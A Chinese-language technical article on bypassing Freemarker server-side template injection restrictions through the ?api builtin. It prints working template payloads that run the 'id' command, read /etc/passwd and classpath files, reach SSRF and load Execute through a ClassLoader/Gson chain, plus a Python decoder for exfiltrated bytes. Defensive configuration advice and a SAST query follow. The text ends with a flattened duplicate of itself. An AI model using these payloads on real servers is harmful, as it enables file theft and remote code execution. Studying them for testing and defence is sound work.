Freemarker模板注入 Bypass
字数 1496 2025-08-26 22:11:22

Freemarker模板注入绕过技术深度解析

前言

本文详细分析Freemarker服务端模板注入(SSTI)的绕过技术,特别是当系统配置了严格限制的ALLOWS_NOTHING_RESOLVER时的突破方法。通过实际渗透测试案例,展示如何利用?api内置函数和其他Java特性实现从受限环境到完全代码执行的完整攻击链。

一、Freemarker模板注入基础

1.1 常见注入方式

典型的Freemarker模板注入Payload:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}

1.2 模板类解析器限制

Freemarker通过TemplateClassResolver限制可实例化的类:

解析器类型 功能描述
UNRESTRICTED_RESOLVER 允许解析任何类
SAFER_RESOLVER 禁止解析ObjectConstructorExecutefreemarker.template.utility.JythonRuntime
ALLOWS_NOTHING_RESOLVER 禁止解析任何类

当遇到ALLOWS_NOTHING_RESOLVER时,传统的?new方法将失效。

二、利用?api内置函数

2.1 ?api功能概述

?api是Freemarker的内置函数,允许访问底层Java API,默认关闭。通过Configurable.setAPIBuiltinEnabled(true)启用。

2.2 安全限制

Freemarker对?api有以下安全限制(通过unsafeMethods.properties定义):

  • 禁止Class.forName
  • 禁止Class.getClassLoader
  • 禁止Class.newInstance
  • 禁止Constructor.newInstance
  • 禁止Method.invoke

三、逐步绕过技术

3.1 访问类路径资源

利用Object.getClassgetResourceAsStream读取类路径文件:

<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[
<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
    ${byte}, 
</#list>
]

Python转换脚本:

match = re.search(r'FILE:(.*),\s*(\\n)*?]', response)
literal = match.group(1) + ']'
literal = literal.replace('\\n', '').strip()
b = ast.literal_eval(literal)
barray = bytearray(b)
with open('exfiltrated', 'w') as f:
    f.write(barray)

3.2 读取系统任意文件

通过URI机制突破类路径限制:

<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[
<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
    ${byte}, 
</#list>
]

替换file://http://ftp://可实现SSRF。

3.3 获取ClassLoader

通过ProtectionDomain获取ClassLoader

<#assign classLoader=object?api.class.protectionDomain.classLoader>

3.4 任意代码执行

结合Gson实例化任意类:

<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}

四、防御建议

4.1 配置安全

  1. 禁用?api:保持setAPIBuiltinEnabled(false)的默认设置
  2. 使用严格解析器:配置ALLOWS_NOTHING_RESOLVER
  3. 权限控制:限制模板编辑权限

4.2 代码审计

SAST查询示例(检查不安全的setAPIBuiltinEnabled调用):

CxList setApiBuiltIn = Find_Methods().FindByShortName("setAPIBuiltinEnabled");
CxList setApiBuiltInParams = All.GetParameters(setApiBuiltIn);
result = setApiBuiltIn.FindByParameters(setApiBuiltInParams.FindByShortName("true"));

4.3 其他建议

  • 避免在源代码中存储敏感凭据
  • 限制JVM中敏感数据的暴露
  • 实施严格的输入验证

五、总结

本技术文档展示了在严格受限的Freemarker环境中实现SSTI的完整攻击链,从信息泄露到完全代码执行。关键突破点包括:

  1. 利用未被禁止的Object.getClass方法
  2. 通过URI机制突破资源访问限制
  3. 利用ProtectionDomain获取ClassLoader
  4. 结合现有类实例(如Gson)绕过实例化限制

这些技术强调了安全配置的全面性和深度防御的重要性,即使是看似严格的安全措施也可能存在意想不到的绕过路径。

Freemarker模板注入绕过技术深度解析 前言 本文详细分析Freemarker服务端模板注入(SSTI)的绕过技术,特别是当系统配置了严格限制的 ALLOWS_NOTHING_RESOLVER 时的突破方法。通过实际渗透测试案例,展示如何利用 ?api 内置函数和其他Java特性实现从受限环境到完全代码执行的完整攻击链。 一、Freemarker模板注入基础 1.1 常见注入方式 典型的Freemarker模板注入Payload: 1.2 模板类解析器限制 Freemarker通过 TemplateClassResolver 限制可实例化的类: | 解析器类型 | 功能描述 | |------------|----------| | UNRESTRICTED_RESOLVER | 允许解析任何类 | | SAFER_RESOLVER | 禁止解析 ObjectConstructor 、 Execute 和 freemarker.template.utility.JythonRuntime | | ALLOWS_NOTHING_RESOLVER | 禁止解析任何类 | 当遇到 ALLOWS_NOTHING_RESOLVER 时,传统的 ?new 方法将失效。 二、利用?api内置函数 2.1 ?api功能概述 ?api 是Freemarker的内置函数,允许访问底层Java API,默认关闭。通过 Configurable.setAPIBuiltinEnabled(true) 启用。 2.2 安全限制 Freemarker对 ?api 有以下安全限制(通过 unsafeMethods.properties 定义): 禁止 Class.forName 禁止 Class.getClassLoader 禁止 Class.newInstance 禁止 Constructor.newInstance 禁止 Method.invoke 三、逐步绕过技术 3.1 访问类路径资源 利用 Object.getClass 和 getResourceAsStream 读取类路径文件: Python转换脚本: 3.2 读取系统任意文件 通过URI机制突破类路径限制: 替换 file:// 为 http:// 或 ftp:// 可实现SSRF。 3.3 获取ClassLoader 通过 ProtectionDomain 获取 ClassLoader : 3.4 任意代码执行 结合Gson实例化任意类: 四、防御建议 4.1 配置安全 禁用?api :保持 setAPIBuiltinEnabled(false) 的默认设置 使用严格解析器 :配置 ALLOWS_NOTHING_RESOLVER 权限控制 :限制模板编辑权限 4.2 代码审计 SAST查询示例(检查不安全的 setAPIBuiltinEnabled 调用): 4.3 其他建议 避免在源代码中存储敏感凭据 限制JVM中敏感数据的暴露 实施严格的输入验证 五、总结 本技术文档展示了在严格受限的Freemarker环境中实现SSTI的完整攻击链,从信息泄露到完全代码执行。关键突破点包括: 利用未被禁止的 Object.getClass 方法 通过URI机制突破资源访问限制 利用 ProtectionDomain 获取 ClassLoader 结合现有类实例(如Gson)绕过实例化限制 这些技术强调了安全配置的全面性和深度防御的重要性,即使是看似严格的安全措施也可能存在意想不到的绕过路径。